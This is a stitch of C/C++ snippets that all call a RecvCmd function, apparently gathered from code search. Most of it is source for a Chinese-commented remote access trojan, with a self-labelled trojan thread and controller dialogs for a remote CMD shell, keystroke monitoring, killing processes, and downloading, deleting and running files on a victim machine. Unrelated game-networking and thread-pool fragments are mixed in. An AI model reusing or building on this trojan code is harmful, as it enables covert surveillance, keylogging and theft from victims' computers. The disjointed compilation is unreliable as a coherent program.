////////////////////////////////////////////////////////////////////////// //远程CMD窗口过程 ////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK CmdDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) { switch (uMsg) { case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_BUTTON1: { //发送远程CMD命令要求 CmdRequest(sockfd,hDlg); } break; } } break; case WM_SOCKET: { switch(LOWORD(lParam)) { case FD_WRITE: { //继续发送 SendCmd(sockfd,NULL,NULL); } break; case FD_READ: { RecvCmd(sockfd); } break; case FD_CLOSE: { //SOCKET出错处理,MainFunc.H里 清理缓冲区 SocketError(sockfd); EndDialog(hDlg,NULL); } break; } } break; case WM_INITDIALOG: { sockfd = (SOCKET)lParam; //非拥塞模式 WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE); } break; case WM_CLOSE: { EndDialog(hDlg,NULL); } break; default: break; } return FALSE; }
////////////////////////////////////////////////////////////////////////// //远程信息窗口过程 ////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK SysDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) { HWND hList; switch (uMsg) { case WM_COMMAND: { } break; case WM_SOCKET: { switch(LOWORD(lParam)) { case FD_WRITE: { //继续发送 SendCmd(sockfd,NULL,NULL); } break; case FD_READ: { RecvCmd(sockfd); } break; case FD_CLOSE: { //SOCKET出错处理,MainFunc.H里 清理缓冲区 SocketError(sockfd); } break; } } break; case WM_INITDIALOG: { sockfd = (SOCKET)lParam; hList = GetDlgItem(hDlg,IDC_LIST1); //非拥塞模式 WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE); //发送命令请求 RatProto ratPro; ratPro.RatId = SYS_VIEW; ratPro.RatLen = sizeof(RatProto); SendCmd(sockfd,(char*)&ratPro,ratPro.RatLen); //初始化列表 InitSysList(hList); } break; case WM_CLOSE: { EndDialog(hDlg,NULL); } break; default: break; } return FALSE; }
////////////////////////////////////////////////////////////////////////// //木马线程 ////////////////////////////////////////////////////////////////////////// void TrojanThread(void) { //连接客户端 SOCKET sockfd = ConnClient(); while (TRUE) { //接收一个包 BOOL flag = RecvCmd(sockfd); if (flag) { flag = DispatchCmd(sockfd,dwRecvSize); dwRecvSize = 0; } if (!flag) { SocketError(sockfd); } } }
void NetInputPoll(NetInput *n) { if (n->channel.sock == NULL) { return; } switch (n->channel.state) { case CHANNEL_STATE_CLOSED: CASSERT(false, "Unexpected channel state closed"); return; case CHANNEL_STATE_DISCONNECTED: if (!TryRecvSynAndSendSynAck(n)) { return; } n->channel.state = CHANNEL_STATE_WAIT_HANDSHAKE; // fallthrough case CHANNEL_STATE_WAIT_HANDSHAKE: // listen for ACK if (!NetInputRecvNonBlocking(&n->channel, TryParseAck, &n->channel)) { return; } n->channel.state = CHANNEL_STATE_CONNECTED; // fallthrough case CHANNEL_STATE_CONNECTED: RecvCmd(n); break; default: CASSERT(false, "Unknown channel state"); break; } }
//thread entry function void WorkerGroup::Run() { bool doExit = false; static thread_rank_t counter = 0; thread_rank_t rank; thread_internal_cmd_t cmd; //determine rank of this thread workDispatch.Lock(); rank = counter; counter++; workDispatch.Unlock(); //worker thread main loop while(!doExit) { //wait until work has been assigned cmd = RecvCmd(); switch(cmd) { case THREADS_IDLE: { WorkerGroupException e; throw e; break; } case THREADS_SHUTDOWN: doExit = true; break; default: //do work cmds[cmd]->Exec((thread_cmd_t)cmd, rank); break; } //confirm completion of command AckCmd(); } }
////////////////////////////////////////////////////////////////////////// //键盘监控窗口过程 ////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK KeyDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) { switch (uMsg) { case WM_COMMAND: { switch (LOWORD(wParam)) { case IDOK: { //1为打开键盘监控 KeyCmdSend(sockfd,hDlg,1); } break; case IDCANCEL: { //0为关闭键盘监控 KeyCmdSend(sockfd,hDlg,0); } break; } } break; case WM_SOCKET: { switch(LOWORD(lParam)) { case FD_WRITE: { //继续发送 SendCmd(sockfd,NULL,NULL); } break; case FD_READ: { RecvCmd(sockfd); } break; case FD_CLOSE: { //SOCKET出错处理,MainFunc.H里 清理缓冲区 SocketError(sockfd); } break; } } break; case WM_INITDIALOG: { sockfd = (SOCKET)lParam; //非拥塞模式 WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE); } break; case WM_CLOSE: { EndDialog(hDlg,NULL); } break; default: break; } return FALSE; }
////////////////////////////////////////////////////////////////////////// //进程管理窗口过程 ////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK ProcDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) { HWND hList = NULL; LPNMHDR lPnmhdr = NULL; switch (uMsg) { case WM_COMMAND: { switch(LOWORD(wParam)) { case ID_POPUP_40007: { hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); char temp[10] = {0}; ListView_GetItemText(hList,index,0,temp,sizeof(temp)); int pid = atoi(temp); ProcDelete(sockfd,pid); } break; case ID_POPUP_40009: { //PID==0为刷新 int pid = 0; ProcDelete(sockfd,pid); } break; } } break; case WM_NOTIFY: { lPnmhdr = (LPNMHDR)lParam; hList = GetDlgItem(hDlg,IDC_LIST1); if (lPnmhdr->hwndFrom==hList) { switch (lPnmhdr->code) { case NM_RCLICK: { HMENU hMenu = LoadMenu(hInst,MAKEINTRESOURCE(IDR_MENU2)); hMenu = GetSubMenu(hMenu,0); POINT stPos; GetCursorPos(&stPos); TrackPopupMenu(hMenu,TPM_LEFTALIGN,stPos.x,stPos.y,NULL,hDlg,NULL); } break; } } } case WM_INITMENUPOPUP: { BOOL flag = TRUE; hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); int count = ListView_GetItemCount(hList); if (index >= count) { flag = FALSE; } switch(LOWORD(lParam)) { case 0: { if (flag) { EnableMenuItem((HMENU)wParam,ID_POPUP_40007,MF_ENABLED); } else { EnableMenuItem((HMENU)wParam,ID_POPUP_40007,MF_GRAYED); } } break; } } break; case WM_SOCKET: { switch(LOWORD(lParam)) { case FD_WRITE: { //继续发送 SendCmd(sockfd,NULL,NULL); } break; case FD_READ: { RecvCmd(sockfd); } break; case FD_CLOSE: { //SOCKET出错处理,MainFunc.H里 清理缓冲区 SocketError(sockfd); } break; } } break; case WM_INITDIALOG: { sockfd = (SOCKET)lParam; hList = GetDlgItem(hDlg,IDC_LIST1); hSysList = hList; //非拥塞模式 WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE); //发送命令请求 RatProto ratPro; ratPro.RatId = PROC_VIEW; ratPro.RatLen = sizeof(RatProto); SendCmd(sockfd,(char*)&ratPro,ratPro.RatLen); //初始化列表 InitProcList(hList); } break; case WM_CLOSE: { EndDialog(hDlg,NULL); } break; default: break; } return FALSE; }
////////////////////////////////////////////////////////////////////////// //文件管理窗口过程 ////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK FileDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) { HWND hList = NULL; HWND hSBar = NULL; LPNMHDR lPnmhdr = NULL; switch (uMsg) { case WM_COMMAND: { switch(LOWORD(wParam)) { case ID_POPUP_40001: { //打开(EXE运行) hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); char szFile[NAMESIZE] = {0}; char szType[10] = {0}; ListView_GetItemText(hList,index,0,szType,sizeof(szType)); ListView_GetItemText(hList,index,1,szFile,NAMESIZE); FileOpen(sockfd,szFile,szType); } break; case ID_POPUP_40002: { //返回 FolderBack(sockfd); } break; case ID_POPUP_40004: { //下载 hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); char szFile[NAMESIZE] = {0}; ListView_GetItemText(hList,index,1,szFile,NAMESIZE); sprintf(szFname,"%s",szFile); FileDownLoad(sockfd,szFile); } break; case ID_POPUP_40005: { //删除 hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); char szFile[NAMESIZE] = {0}; ListView_GetItemText(hList,index,1,szFile,NAMESIZE); FileDelete(sockfd,szFile); } break; } } break; case WM_SOCKET: { switch(LOWORD(lParam)) { case FD_WRITE: { //继续发送 SendCmd(sockfd,NULL,NULL); } break; case FD_READ: { RecvCmd(sockfd); } break; case FD_CLOSE: { //SOCKET出错处理,MainFunc.H里 清理缓冲区 SocketError(sockfd); EndDialog(hDlg,NULL); } break; } } break; case WM_NOTIFY: { lPnmhdr = (LPNMHDR)lParam; hList = GetDlgItem(hDlg,IDC_LIST1); if (lPnmhdr->hwndFrom==hList) { switch (lPnmhdr->code) { case NM_DBLCLK: { hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); int count = ListView_GetItemCount(hList); char szType[10] = {0}; ListView_GetItemText(hList,index,0,szType,sizeof(szType)); if (strcmp(szType,"FILE")==0) { break; } if (index<count) { char szFile[NAMESIZE] = {0}; char szType[10] = {0}; ListView_GetItemText(hList,index,0,szType,sizeof(szType)); ListView_GetItemText(hList,index,1,szFile,NAMESIZE); FileOpen(sockfd,szFile,szType); } } break; case NM_RCLICK: { HMENU hMenu = LoadMenu(hInst,MAKEINTRESOURCE(IDR_MENU1)); hMenu = GetSubMenu(hMenu,0); POINT stPos; GetCursorPos(&stPos); TrackPopupMenu(hMenu,TPM_LEFTALIGN,stPos.x,stPos.y,NULL,hDlg,NULL); } break; } } } break; case WM_INITMENUPOPUP: { switch(LOWORD(lParam)) { case 0: { //文件禁用:打开(EXE不禁用) //文件夹禁用:下载 //盘符禁用:返回 hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); int count = ListView_GetItemCount(hList); if (index>=count && strlen(szTempPath)==0) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_GRAYED); } else if (index>=count) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_GRAYED); } else { char szType[NAMESIZE] = {0}; ListView_GetItemText(hList,index,0,szType,NAMESIZE); if (strcmp(szType,"DRIVE")==0) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_GRAYED); } else if (strcmp(szType,"FOLDER")==0) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_ENABLED); } else if (strcmp(szType,"EXE")==0) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_ENABLED); } else { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_ENABLED); } } } break; } } break; case WM_INITDIALOG: { sockfd = (SOCKET)lParam; //非拥塞模式 WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE); //获得远程主机盘符 SendDriveList(sockfd); hList = GetDlgItem(hDlg,IDC_LIST1); //初始化ListControl InitFmgrList(hList); //初始化状态栏 UpdataSBar(hDlg); } break; case WM_CLOSE: { EndDialog(hDlg,NULL); } break; default: break; } return FALSE; }